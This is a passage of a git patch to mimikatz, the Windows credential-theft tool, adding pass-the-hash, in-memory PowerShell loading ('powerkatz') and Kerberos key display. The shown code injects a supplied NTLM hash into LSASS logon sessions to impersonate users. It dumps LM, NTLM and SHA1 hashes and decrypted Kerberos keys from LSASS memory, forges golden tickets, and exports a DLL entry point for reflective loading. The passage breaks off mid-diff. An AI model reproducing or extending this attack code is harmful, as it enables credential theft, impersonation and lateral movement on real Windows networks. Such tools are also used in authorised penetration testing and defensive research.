From fd667773cbc004dafd857fd77dc6a06fc8c6d33c Mon Sep 17 00:00:00 2001 From: Benjamin DELPY <benjamin@gentilkiwi.com> Date: Mon, 5 May 2014 01:24:54 +0200 Subject: [PATCH] Pass-The-Hash enhancements, 'powerkatz', Kerberos keys better ouptut --- inc/globals.h | 8 ++ mimikatz.sln | 12 ++ mimikatz/mimikatz.c | 31 ++++- mimikatz/mimikatz.h | 6 +- mimikatz/mimikatz.vcxproj | 16 ++- mimikatz/modules/kerberos/kuhl_m_kerberos.c | 16 +-- .../modules/kerberos/kuhl_m_kerberos_ticket.c | 48 +++++++- .../modules/kerberos/kuhl_m_kerberos_ticket.h | 1 + mimikatz/modules/sekurlsa/globals_sekurlsa.h | 10 +- mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c | 107 +++++++++++++++--- mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.h | 1 + .../packages/kuhl_m_sekurlsa_kerberos.c | 50 ++++---- .../packages/kuhl_m_sekurlsa_msv1_0.c | 73 +----------- .../packages/kuhl_m_sekurlsa_msv1_0.h | 17 +-- .../sekurlsadbg/kuhl_m_sekurlsa_packages.h | 4 +- mimilib/sekurlsadbg/kwindbg.c | 22 +++- modules/kull_m_output.c | 31 ++++- modules/kull_m_output.h | 4 + modules/kull_m_string.c | 15 +++ modules/kull_m_string.h | 1 + 20 files changed, 321 insertions(+), 152 deletions(-) diff --git a/inc/globals.h b/inc/globals.h index ba28920..024ae04 100644 --- a/inc/globals.h +++ b/inc/globals.h @@ -34,6 +34,14 @@ #define MIMIKATZ_DRIVER L"mimidrv" #define MIMIKATZ_KERBEROS_EXT L"kirbi" +#ifdef _WINDLL + #define MIMIKATZ_AUTO_COMMAND_START 0 + #define MIMIKATZ_AUTO_COMMAND_STRING L"powershell" +#else + #define MIMIKATZ_AUTO_COMMAND_START 1 + #define MIMIKATZ_AUTO_COMMAND_STRING L"commandline" +#endif + #ifndef NT_SUCCESS #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) #endif diff --git a/mimikatz.sln b/mimikatz.sln index cd85359..652052a 100644 --- a/mimikatz.sln +++ b/mimikatz.sln @@ -48,20 +48,32 @@ Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Release|Win32 = Release|Win32 Release|x64 = Release|x64 + Second_Release_PowerShell|Win32 = Second_Release_PowerShell|Win32 + Second_Release_PowerShell|x64 = Second_Release_PowerShell|x64 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {FB9B5E61-7C34-4280-A211-E979E1D6977F}.Release|Win32.ActiveCfg = Release|Win32 {FB9B5E61-7C34-4280-A211-E979E1D6977F}.Release|Win32.Build.0 = Release|Win32 {FB9B5E61-7C34-4280-A211-E979E1D6977F}.Release|x64.ActiveCfg = Release|x64 {FB9B5E61-7C34-4280-A211-E979E1D6977F}.Release|x64.Build.0 = Release|x64 + {FB9B5E61-7C34-4280-A211-E979E1D6977F}.Second_Release_PowerShell|Win32.ActiveCfg = Second_Release_PowerShell|Win32 + {FB9B5E61-7C34-4280-A211-E979E1D6977F}.Second_Release_PowerShell|Win32.Build.0 = Second_Release_PowerShell|Win32 + {FB9B5E61-7C34-4280-A211-E979E1D6977F}.Second_Release_PowerShell|x64.ActiveCfg = Second_Release_PowerShell|x64 + {FB9B5E61-7C34-4280-A211-E979E1D6977F}.Second_Release_PowerShell|x64.Build.0 = Second_Release_PowerShell|x64 + {E049487C-C5BD-471E-99AE-C756E70B6520}.Release|Win32.ActiveCfg = Release|Win32 {E049487C-C5BD-471E-99AE-C756E70B6520}.Release|Win32.Build.0 = Release|Win32 {E049487C-C5BD-471E-99AE-C756E70B6520}.Release|x64.ActiveCfg = Release|x64 {E049487C-C5BD-471E-99AE-C756E70B6520}.Release|x64.Build.0 = Release|x64 + {E049487C-C5BD-471E-99AE-C756E70B6520}.Second_Release_PowerShell|Win32.ActiveCfg = Release|Win32 + {E049487C-C5BD-471E-99AE-C756E70B6520}.Second_Release_PowerShell|x64.ActiveCfg = Release|x64 + {86FF6D04-208C-442F-B27C-E4255DD39402}.Release|Win32.ActiveCfg = Release|Win32 {86FF6D04-208C-442F-B27C-E4255DD39402}.Release|Win32.Build.0 = Release|Win32 {86FF6D04-208C-442F-B27C-E4255DD39402}.Release|x64.ActiveCfg = Release|x64 {86FF6D04-208C-442F-B27C-E4255DD39402}.Release|x64.Build.0 = Release|x64 + {86FF6D04-208C-442F-B27C-E4255DD39402}.Second_Release_PowerShell|Win32.ActiveCfg = Release|Win32 + {86FF6D04-208C-442F-B27C-E4255DD39402}.Second_Release_PowerShell|x64.ActiveCfg = Release|x64 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/mimikatz/mimikatz.c b/mimikatz/mimikatz.c index 529b71e..e84649f 100644 --- a/mimikatz/mimikatz.c +++ b/mimikatz/mimikatz.c @@ -27,14 +27,14 @@ const KUHL_M * mimikatz_modules[] = { int wmain(int argc, wchar_t * argv[]) { int i, status = STATUS_SUCCESS; +#ifndef _WINDLL wchar_t input[0xff]; - _setmode(_fileno(stdout), _O_U8TEXT); _setmode(_fileno(stderr), _O_U8TEXT); SetConsoleOutputCP(CP_UTF8); SetConsoleTitle(MIMIKATZ L" " MIMIKATZ_VERSION L" " MIMIKATZ_ARCH); SetConsoleCtrlHandler(HandlerRoutine, TRUE); - +#endif kprintf(L"\n" L" .#####. " MIMIKATZ_FULL L"\n" L" .## ^ ##. \n" @@ -42,13 +42,14 @@ int wmain(int argc, wchar_t * argv[]) L" ## \\ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n" L" '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)\n" L" '#####' with %3u modules * * */\n\n", sizeof(mimikatz_modules) / sizeof(KUHL_M *)); - + mimikatz_initOrClean(TRUE); - for(i = 1 ; (i < argc) && (status != STATUS_FATAL_APP_EXIT) ; i++) + for(i = MIMIKATZ_AUTO_COMMAND_START ; (i < argc) && (status != STATUS_FATAL_APP_EXIT) ; i++) { - kprintf(L"\n" MIMIKATZ L"(commandline) # %s\n", argv[i]); + kprintf(L"\n" MIMIKATZ L"(" MIMIKATZ_AUTO_COMMAND_STRING L") # %s\n", argv[i]); status = mimikatz_dispatchCommand(argv[i]); } +#ifndef _WINDLL while (status != STATUS_FATAL_APP_EXIT) { kprintf(L"\n" MIMIKATZ L" # "); fflush(stdin); @@ -58,6 +59,7 @@ int wmain(int argc, wchar_t * argv[]) status = mimikatz_dispatchCommand(input); } } +#endif mimikatz_initOrClean(FALSE); return STATUS_SUCCESS; } @@ -185,4 +187,21 @@ NTSTATUS mimikatz_doLocal(wchar_t * input) LocalFree(argv); } return status; -} \ No newline at end of file +} + +#ifdef _WINDLL +__declspec(dllexport) wchar_t * powershell_reflective_mimikatz(LPCWSTR input) +{ + int argc = 0; + wchar_t ** argv; + + if(argv = CommandLineToArgvW(input, &argc)) + { + outputBufferElements = 0xff; + if(outputBuffer = (wchar_t *) LocalAlloc(LPTR, outputBufferElements)) + wmain(argc, argv); + LocalFree(argv); + } + return outputBuffer; +} +#endif \ No newline at end of file diff --git a/mimikatz/mimikatz.h b/mimikatz/mimikatz.h index 033bf49..5bb3451 100644 --- a/mimikatz/mimikatz.h +++ b/mimikatz/mimikatz.h @@ -37,4 +37,8 @@ NTSTATUS mimikatz_initOrClean(); NTSTATUS mimikatz_doLocal(wchar_t * input); /*NTSTATUS mimikatz_doRemote(wchar_t * input);*/ -NTSTATUS mimikatz_dispatchCommand(wchar_t * input); \ No newline at end of file +NTSTATUS mimikatz_dispatchCommand(wchar_t * input); + +#ifdef _WINDLL +__declspec(dllexport) wchar_t * powershell_reflective_mimikatz(LPCWSTR input); +#endif \ No newline at end of file diff --git a/mimikatz/mimikatz.vcxproj b/mimikatz/mimikatz.vcxproj index 4eadab1..5404290 100644 --- a/mimikatz/mimikatz.vcxproj +++ b/mimikatz/mimikatz.vcxproj @@ -9,6 +9,14 @@ <Configuration>Release</Configuration> <Platform>x64</Platform> </ProjectConfiguration> + <ProjectConfiguration Include="Second_Release_PowerShell|Win32"> + <Configuration>Second_Release_PowerShell</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Second_Release_PowerShell|x64"> + <Configuration>Second_Release_PowerShell</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> </ItemGroup> <PropertyGroup Label="Globals"> <ProjectGuid>{FB9B5E61-7C34-4280-A211-E979E1D6977F}</ProjectGuid> @@ -21,7 +29,8 @@ </PropertyGroup> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> <PropertyGroup Label="Configuration"> - <ConfigurationType>Application</ConfigurationType> + <ConfigurationType Condition="'$(Configuration)' != 'Second_Release_PowerShell'">Application</ConfigurationType> + <ConfigurationType Condition="'$(Configuration)' == 'Second_Release_PowerShell'">DynamicLibrary</ConfigurationType> <UseDebugLibraries>false</UseDebugLibraries> <WholeProgramOptimization>true</WholeProgramOptimization> <CharacterSet>Unicode</CharacterSet> @@ -41,6 +50,7 @@ <LinkIncremental>false</LinkIncremental> <IncludePath>$(SolutionDir)inc;$(IncludePath)</IncludePath> <LibraryPath>$(SolutionDir)lib\$(Platform);$(LibraryPath)</LibraryPath> + <TargetName Condition="'$(Configuration)' == 'Second_Release_PowerShell'">powerkatz</TargetName> </PropertyGroup> <ItemDefinitionGroup> <ClCompile> @@ -174,10 +184,10 @@ <ClInclude Include="modules\sekurlsa\packages\kuhl_m_sekurlsa_tspkg.h" /> <ClInclude Include="modules\sekurlsa\packages\kuhl_m_sekurlsa_wdigest.h" /> </ItemGroup> - <ItemGroup> + <ItemGroup Condition="'$(Configuration)' != 'Second_Release_PowerShell'"> <ResourceCompile Include="mimikatz.rc" /> </ItemGroup> - <ItemGroup> + <ItemGroup Condition="'$(Configuration)' != 'Second_Release_PowerShell'"> <None Include="mimikatz.ico" /> </ItemGroup> </Project> \ No newline at end of file diff --git a/mimikatz/modules/kerberos/kuhl_m_kerberos.c b/mimikatz/modules/kerberos/kuhl_m_kerberos.c index 33b96e0..0aa1f7d 100644 --- a/mimikatz/modules/kerberos/kuhl_m_kerberos.c +++ b/mimikatz/modules/kerberos/kuhl_m_kerberos.c @@ -169,7 +169,7 @@ NTSTATUS kuhl_m_kerberos_list(int argc, wchar_t * argv[]) { for(i = 0; i < pKerbCacheResponse->CountOfTickets; i++) { - kprintf(L"\n[%08x] - %02x", i, pKerbCacheResponse->Tickets[i].EncryptionType); + kprintf(L"\n[%08x] - 0x%08x - %s", i, pKerbCacheResponse->Tickets[i].EncryptionType, kuhl_m_kerberos_ticket_etype(pKerbCacheResponse->Tickets[i].EncryptionType)); kprintf(L"\n Start/End/MaxRenew: "); kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].StartTime); kprintf(L" ; "); kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].EndTime); kprintf(L" ; "); @@ -242,7 +242,7 @@ NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[]) { BYTE ntlm[LM_NTLM_HASH_LENGTH] = {0}; DWORD i, j, nbGroups, id = 500; - PCWCHAR szUser, szDomain, szSid, szNtlm, szId, szGroups, base, filename; + PCWCHAR szUser, szDomain, szSid, szNTLM, szId, szGroups, base, filename; PISID pSid; PGROUP_MEMBERSHIP dynGroups = NULL, groups; PDIRTY_ASN1_SEQUENCE_EASY App_KrbCred; @@ -257,7 +257,7 @@ NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[]) { if(ConvertStringSidToSid(szSid, (PSID *) &pSid)) { - if(kull_m_string_args_byName(argc, argv, L"krbtgt", &szNtlm, NULL)) + if(kull_m_string_args_byName(argc, argv, L"krbtgt", &szNTLM, NULL)) { if(kull_m_string_args_byName(argc, argv, L"id", &szId, NULL)) id = wcstoul(szId, NULL, 0); @@ -293,14 +293,8 @@ NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[]) groups = defaultGroups; nbGroups = sizeof(defaultGroups) / sizeof(GROUP_MEMBERSHIP); } - - if(wcslen(szNtlm) == (LM_NTLM_HASH_LENGTH * 2)) + if(kull_m_string_stringToHex(szNTLM, ntlm, sizeof(ntlm))) { - for(i = 0; i < LM_NTLM_HASH_LENGTH; i++) - { - swscanf_s(&szNtlm[i*2], L"%02x", &j); - ntlm[i] = (BYTE) j; - } kprintf( L"User : %s\n" L"Domain : %s\n" @@ -334,7 +328,7 @@ NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[]) } else PRINT_ERROR(L"Missing domain argument\n"); } - else PRINT_ERROR(L"Missing admin argument\n"); + else PRINT_ERROR(L"Missing user argument\n"); if(dynGroups) LocalFree(groups); diff --git a/mimikatz/modules/kerberos/kuhl_m_kerberos_ticket.c b/mimikatz/modules/kerberos/kuhl_m_kerberos_ticket.c index 0c46482..fae9cbf 100644 --- a/mimikatz/modules/kerberos/kuhl_m_kerberos_ticket.c +++ b/mimikatz/modules/kerberos/kuhl_m_kerberos_ticket.c @@ -19,18 +19,22 @@ void kuhl_m_kerberos_ticket_display(PKIWI_KERBEROS_TICKET ticket, BOOL encodedTi kprintf(L" ( %wZ )", &ticket->Description); kprintf(L"\n\t Flags %08x : ", ticket->TicketFlags); kuhl_m_kerberos_ticket_displayFlags(ticket->TicketFlags); - kprintf(L"\n\t Session Key (%02x) : ", ticket->KeyType); + kprintf(L"\n\t Session Key : 0x%08x - %s", ticket->KeyType, kuhl_m_kerberos_ticket_etype(ticket->KeyType)); if(ticket->Key.Value) - kull_m_string_wprintf_hex(ticket->Key.Value, ticket->Key.Length, 1); - kprintf(L"\n\t Ticket (%02x - %02x) : ", ticket->TicketKvno, ticket->TicketEncType); + { + kprintf(L"\n\t "); + kull_m_string_wprintf_hex(ticket->Key.Value, ticket->Key.Length, 0); + } + kprintf(L"\n\t Ticket : 0x%08x - %s ; kvno = %u", ticket->TicketEncType, kuhl_m_kerberos_ticket_etype(ticket->TicketEncType), ticket->TicketKvno); if(encodedTicketToo) { + kprintf(L"\n\t "); if(ticket->Ticket.Value) kull_m_string_wprintf_hex(ticket->Ticket.Value, ticket->Ticket.Length, 1); else PRINT_ERROR_AUTO(L"NULL Ticket Value !"); } - else kprintf(L"[...]"); + else kprintf(L"\t[...]"); } const PCWCHAR TicketFlagsToStrings[] = { @@ -63,6 +67,42 @@ void kuhl_m_kerberos_ticket_displayExternalName(IN LPCWSTR prefix, IN PKERB_EXTE kprintf(L"@ %wZ", pDomain); } +PCWCHAR kuhl_m_kerberos_ticket_etype(LONG eType) +{ + PCWCHAR type; + switch(eType) + { + case KERB_ETYPE_NULL: type = L"null "; break; + + case KERB_ETYPE_DES_PLAIN: type = L"des_plain "; break; + case KERB_ETYPE_DES_CBC_CRC: type = L"des_cbc_crc "; break; + case KERB_ETYPE_DES_CBC_MD4: type = L"des_cbc_md4 "; break; + case KERB_ETYPE_DES_CBC_MD5: type = L"des_cbc_md5 "; break; + case KERB_ETYPE_DES_CBC_MD5_NT: type = L"des_cbc_md5_nt "; break; + + case KERB_ETYPE_RC4_PLAIN: type = L"rc4_plain "; break; + case KERB_ETYPE_RC4_PLAIN2: type = L"rc4_plain2 "; break; + case KERB_ETYPE_RC4_PLAIN_EXP: type = L"rc4_plain_exp "; break; + case KERB_ETYPE_RC4_LM: type = L"rc4_lm "; break; + case KERB_ETYPE_RC4_MD4: type = L"rc4_md4 "; break; + case KERB_ETYPE_RC4_SHA: type = L"rc4_sha "; break; + case KERB_ETYPE_RC4_HMAC_NT: type = L"rc4_hmac_nt "; break; + case KERB_ETYPE_RC4_HMAC_NT_EXP: type = L"rc4_hmac_nt_exp "; break; + case KERB_ETYPE_RC4_PLAIN_OLD: type = L"rc4_plain_old "; break; + case KERB_ETYPE_RC4_PLAIN_OLD_EXP: type = L"rc4_plain_old_exp"; break; + case KERB_ETYPE_RC4_HMAC_OLD: type = L"rc4_hmac_old "; break; + case KERB_ETYPE_RC4_HMAC_OLD_EXP: type = L"rc4_hmac_old_exp "; break; + + case KERB_ETYPE_AES128_CTS_HMAC_SHA1_96_PLAIN: type = L"aes128_hmac_plain"; break; + case KERB_ETYPE_AES256_CTS_HMAC_SHA1_96_PLAIN: type = L"aes256_hmac_plain"; break; + case KERB_ETYPE_AES128_CTS_HMAC_SHA1_96: type = L"aes128_hmac "; break; + case KERB_ETYPE_AES256_CTS_HMAC_SHA1_96: type = L"aes256_hmac "; break; + + default: type = L"unknow "; break; + } + return type; +} + PDIRTY_ASN1_SEQUENCE_EASY kuhl_m_kerberos_ticket_createAppTicket(PKIWI_KERBEROS_TICKET ticket) { PDIRTY_ASN1_SEQUENCE_EASY App_Ticket, Seq_Ticket, Ctx_Ticket; diff --git a/mimikatz/modules/kerberos/kuhl_m_kerberos_ticket.h b/mimikatz/modules/kerberos/kuhl_m_kerberos_ticket.h index 4d9a1d2..b69467d 100644 --- a/mimikatz/modules/kerberos/kuhl_m_kerberos_ticket.h +++ b/mimikatz/modules/kerberos/kuhl_m_kerberos_ticket.h @@ -102,6 +102,7 @@ typedef struct _KIWI_KERBEROS_TICKET { void kuhl_m_kerberos_ticket_display(PKIWI_KERBEROS_TICKET ticket, BOOL encodedTicketToo); void kuhl_m_kerberos_ticket_displayFlags(ULONG flags); void kuhl_m_kerberos_ticket_displayExternalName(IN LPCWSTR prefix, IN PKERB_EXTERNAL_NAME pExternalName, IN PUNICODE_STRING pDomain); +PCWCHAR kuhl_m_kerberos_ticket_etype(LONG eType); PDIRTY_ASN1_SEQUENCE_EASY kuhl_m_kerberos_ticket_createAppKrbCred(PKIWI_KERBEROS_TICKET ticket); PDIRTY_ASN1_SEQUENCE_EASY kuhl_m_kerberos_ticket_createAppTicket(PKIWI_KERBEROS_TICKET ticket); diff --git a/mimikatz/modules/sekurlsa/globals_sekurlsa.h b/mimikatz/modules/sekurlsa/globals_sekurlsa.h index 035f407..b28e9f3 100644 --- a/mimikatz/modules/sekurlsa/globals_sekurlsa.h +++ b/mimikatz/modules/sekurlsa/globals_sekurlsa.h @@ -89,4 +89,12 @@ typedef struct _KUHL_M_SEKURLSA_PACKAGE { BOOL isValid; const wchar_t * ModuleName; KUHL_M_SEKURLSA_LIB Module; -} KUHL_M_SEKURLSA_PACKAGE, *PKUHL_M_SEKURLSA_PACKAGE; \ No newline at end of file +} KUHL_M_SEKURLSA_PACKAGE, *PKUHL_M_SEKURLSA_PACKAGE; + +typedef struct _SEKURLSA_PTH_DATA { + PLUID LogonId; + PCWCHAR UserName; + PCWCHAR LogonDomain; + LPBYTE NtlmHash; + BOOL isReplaceOk; +} SEKURLSA_PTH_DATA, *PSEKURLSA_PTH_DATA; \ No newline at end of file diff --git a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c index 13c5981..b12c6a2 100644 --- a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c +++ b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c @@ -18,7 +18,7 @@ const KUHL_M_C kuhl_m_c_sekurlsa[] = { {kuhl_m_sekurlsa_process, L"process", L"Switch (or reinit) to LSASS process context"}, {kuhl_m_sekurlsa_minidump, L"minidump", L"Switch (or reinit) to LSASS minidump context"}, - {kuhl_m_sekurlsa_msv_pth, L"pth", L"Pass-the-hash"}, + {kuhl_m_sekurlsa_pth, L"pth", L"Pass-the-hash"}, {kuhl_m_sekurlsa_kerberos_tickets, L"tickets", L"List Kerberos tickets"}, {kuhl_m_sekurlsa_kerberos_keys, L"ekeys", L"List Kerberos Encryption Keys"}, {kuhl_m_sekurlsa_dpapi, L"dpapi", L"List Cached MasterKeys"}, @@ -420,6 +420,69 @@ NTSTATUS kuhl_m_sekurlsa_getLogonData(const PKUHL_M_SEKURLSA_PACKAGE * lsassPack return kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_logondata, &OptionalData); } +NTSTATUS kuhl_m_sekurlsa_pth(int argc, wchar_t * argv[]) +{ + BYTE ntlm[LM_NTLM_HASH_LENGTH]; + TOKEN_STATISTICS tokenStats; + SEKURLSA_PTH_DATA data = {&(tokenStats.AuthenticationId), NULL, NULL, ntlm, FALSE}; + PCWCHAR szRun, szNTLM; + DWORD dwNeededSize; + HANDLE hToken; + PROCESS_INFORMATION processInfos; + + if(kull_m_string_args_byName(argc, argv, L"user", &data.UserName, NULL)) + { + if(kull_m_string_args_byName(argc, argv, L"domain", &data.LogonDomain, NULL)) + { + if(kull_m_string_args_byName(argc, argv, L"ntlm", &szNTLM, NULL)) + { + if(kull_m_string_stringToHex(szNTLM, ntlm, sizeof(ntlm))) + { + kull_m_string_args_byName(argc, argv, L"run", &szRun, L"cmd.exe"); + kprintf(L"user\t: %s\ndomain\t: %s\nNTLM\t: ", data.UserName, data.LogonDomain); + kull_m_string_wprintf_hex(data.NtlmHash, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n"); + kprintf(L"Program\t: %s\n", szRun); + if(kull_m_process_create(KULL_M_PROCESS_CREATE_LOGON, szRun, CREATE_SUSPENDED, NULL, LOGON_NETCREDENTIALS_ONLY, data.UserName, data.LogonDomain, L"", &processInfos, FALSE)) + { + kprintf(L" | PID %u\n | TID %u\n",processInfos.dwProcessId, processInfos.dwThreadId); + if(OpenProcessToken(processInfos.hProcess, TOKEN_READ, &hToken)) + { + if(GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &dwNeededSize)) + { + kprintf(L" | LUID %u ; %u (%08x:%08x)\n", tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart, tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart); + kprintf(L" \\_ msv1_0 - "); + kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_msv_pth, &data); + kprintf(L"\n"); + kprintf(L" \\_ kerberos - "); + kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_kerberos_pth, &data); + kprintf(L"\n"); + } + else PRINT_ERROR_AUTO(L"GetTokenInformation"); + CloseHandle(hToken); + } + else PRINT_ERROR_AUTO(L"OpenProcessToken"); + + if(data.isReplaceOk) + NtResumeProcess(processInfos.hProcess); + else + NtTerminateProcess(processInfos.hProcess, STATUS_FATAL_APP_EXIT); + + CloseHandle(processInfos.hThread); + CloseHandle(processInfos.hProcess); + } + else PRINT_ERROR_AUTO(L"CreateProcessWithLogonW"); + } + else PRINT_ERROR(L"ntlm hash length must be 32 (16 bytes)\n"); + } + else PRINT_ERROR(L"Missing argument : ntlm\n"); + } + else PRINT_ERROR(L"Missing argument : domain\n"); + } + else PRINT_ERROR(L"Missing argument : user\n"); + + return STATUS_SUCCESS; +} + VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, PLUID luid, ULONG flags) { PUNICODE_STRING credentials, username = NULL, domain = NULL, password = NULL; @@ -445,16 +508,25 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred { case KUHL_SEKURLSA_CREDS_DISPLAY_PRIMARY: pPrimaryCreds = (PMSV1_0_PRIMARY_CREDENTIAL) credentials->Buffer; - kuhl_m_sekurlsa_utils_NlpMakeRelativeOrAbsoluteString(pPrimaryCreds, &pPrimaryCreds->UserName, FALSE); kuhl_m_sekurlsa_utils_NlpMakeRelativeOrAbsoluteString(pPrimaryCreds, &pPrimaryCreds->LogonDomainName, FALSE); - kprintf(L"\n\t * Username : %wZ" - L"\n\t * Domain : %wZ" - , &pPrimaryCreds->UserName, &pPrimaryCreds->LogonDomainName); - kprintf(L"\n\t * LM : "); kull_m_string_wprintf_hex(pPrimaryCreds->LmOwfPassword, LM_NTLM_HASH_LENGTH, 0); - kprintf(L"\n\t * NTLM : "); kull_m_string_wprintf_hex(pPrimaryCreds->NtOwfPassword, LM_NTLM_HASH_LENGTH, 0); - kprintf(L"\n\t * SHA1 : "); kull_m_string_wprintf_hex(pPrimaryCreds->ShaOwPassword, SHA_DIGEST_LENGTH, 0); + kprintf(L"\n\t * Username : %wZ\n\t * Domain : %wZ", &pPrimaryCreds->UserName, &pPrimaryCreds->LogonDomainName); + if(pPrimaryCreds->isLmOwfPassword) + { + kprintf(L"\n\t * LM : "); + kull_m_string_wprintf_hex(pPrimaryCreds->LmOwfPassword, LM_NTLM_HASH_LENGTH, 0); + } + if(pPrimaryCreds->isNtOwfPassword) + { + kprintf(L"\n\t * NTLM : "); + kull_m_string_wprintf_hex(pPrimaryCreds->NtOwfPassword, LM_NTLM_HASH_LENGTH, 0); + } + if(pPrimaryCreds->isShaOwPassword) + { + kprintf(L"\n\t * SHA1 : "); + kull_m_string_wprintf_hex(pPrimaryCreds->ShaOwPassword, SHA_DIGEST_LENGTH, 0); + } break; case KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIALKEY: pRpceCredentialKeyCreds = (PRPCE_CREDENTIAL_KEYCREDENTIAL) credentials->Buffer; @@ -484,16 +556,19 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred else if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_KEY_LIST) { pHashPassword = (PKERB_HASHPASSWORD_GENERIC) mesCreds; - kprintf(L"\t %4i : ", pHashPassword->Type); - buffer.Buffer = (PWSTR) pHashPassword->Checksump; - buffer.Length = buffer.MaximumLength = (USHORT) ((pHashPassword->Size) ? pHashPassword->Size : LM_NTLM_HASH_LENGTH); // will not use CDLocateCSystem, sorry! - if(kull_m_string_getUnicodeString(&buffer, cLsass.hLsassMem)) + kprintf(L"\t%s : ", kuhl_m_kerberos_ticket_etype(pHashPassword->Type)); + if(buffer.Length = buffer.MaximumLength = (USHORT) pHashPassword->Size) { - if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/) - (*lsassLocalHelper->pLsaUnprotectMemory)(buffer.Buffer, buffer.MaximumLength); - kull_m_string_wprintf_hex(buffer.Buffer, buffer.Length, 0); - LocalFree(buffer.Buffer); + buffer.Buffer = (PWSTR) pHashPassword->Checksump; + if(kull_m_string_getUnicodeString(&buffer, cLsass.hLsassMem)) + { + if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/) + (*lsassLocalHelper->pLsaUnprotectMemory)(buffer.Buffer, buffer.MaximumLength); + kull_m_string_wprintf_hex(buffer.Buffer, buffer.Length, 0); + LocalFree(buffer.Buffer); + } } + else kprintf(L"<no size, buffer is incorrect>"); kprintf(L"\n"); } else diff --git a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.h b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.h index 29f22ea..0422f83 100644 --- a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.h +++ b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.h @@ -65,6 +65,7 @@ VOID kuhl_m_sekurlsa_genericKeyOutput(struct _MARSHALL_KEY * key, PVOID * dirtyB NTSTATUS kuhl_m_sekurlsa_all(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_sekurlsa_strings(int argc, wchar_t * argv[]); +NTSTATUS kuhl_m_sekurlsa_pth(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_sekurlsa_process(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_sekurlsa_minidump(int argc, wchar_t * argv[]); diff --git a/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c b/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c index 54e2a15..747a208 100644 --- a/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c +++ b/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c @@ -219,13 +219,14 @@ void CALLBACK kuhl_m_sekurlsa_enum_kerberos_callback_keys(IN PKIWI_BASIC_SECURIT void CALLBACK kuhl_m_sekurlsa_enum_kerberos_callback_pth(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN KULL_M_MEMORY_ADDRESS Localkerbsession, IN KULL_M_MEMORY_ADDRESS RemoteLocalKerbSession, IN OPTIONAL LPVOID pOptionalData) { - PMSV1_0_PTH_DATA pthData = (PMSV1_0_PTH_DATA) pOptionalData; + PSEKURLSA_PTH_DATA pthData = (PSEKURLSA_PTH_DATA) pOptionalData; DWORD i, nbHash; BYTE ntlmHash[LM_NTLM_HASH_LENGTH]; UNICODE_STRING nullPasswd = {0, 0, NULL}; KULL_M_MEMORY_ADDRESS aLocalKeyMemory = {NULL, Localkerbsession.hMemory}, aLocalHashMemory = {NULL, Localkerbsession.hMemory}, aLocalNTLMMemory = {NULL, Localkerbsession.hMemory}, aLocalPasswdMemory = {&nullPasswd, Localkerbsession.hMemory}, aRemotePasswdMemory = {(PBYTE) RemoteLocalKerbSession.address + kerbHelper[KerbOffsetIndex].offsetCreds + FIELD_OFFSET(KIWI_GENERIC_PRIMARY_CREDENTIAL, Password), RemoteLocalKerbSession.hMemory}; PKERB_HASHPASSWORD_GENERIC pHash; PBYTE baseCheck; + PCWCHAR resultok; SIZE_T offset; if(RemoteLocalKerbSession.address = *(PVOID *) ((PBYTE) Localkerbsession.address + kerbHelper[KerbOffsetIndex].offsetKeyList)) @@ -236,47 +237,52 @@ void CALLBACK kuhl_m_sekurlsa_enum_kerberos_callback_pth(IN PKIWI_BASIC_SECURITY { if(nbHash = ((DWORD *)(aLocalKeyMemory.address))[1]) { + 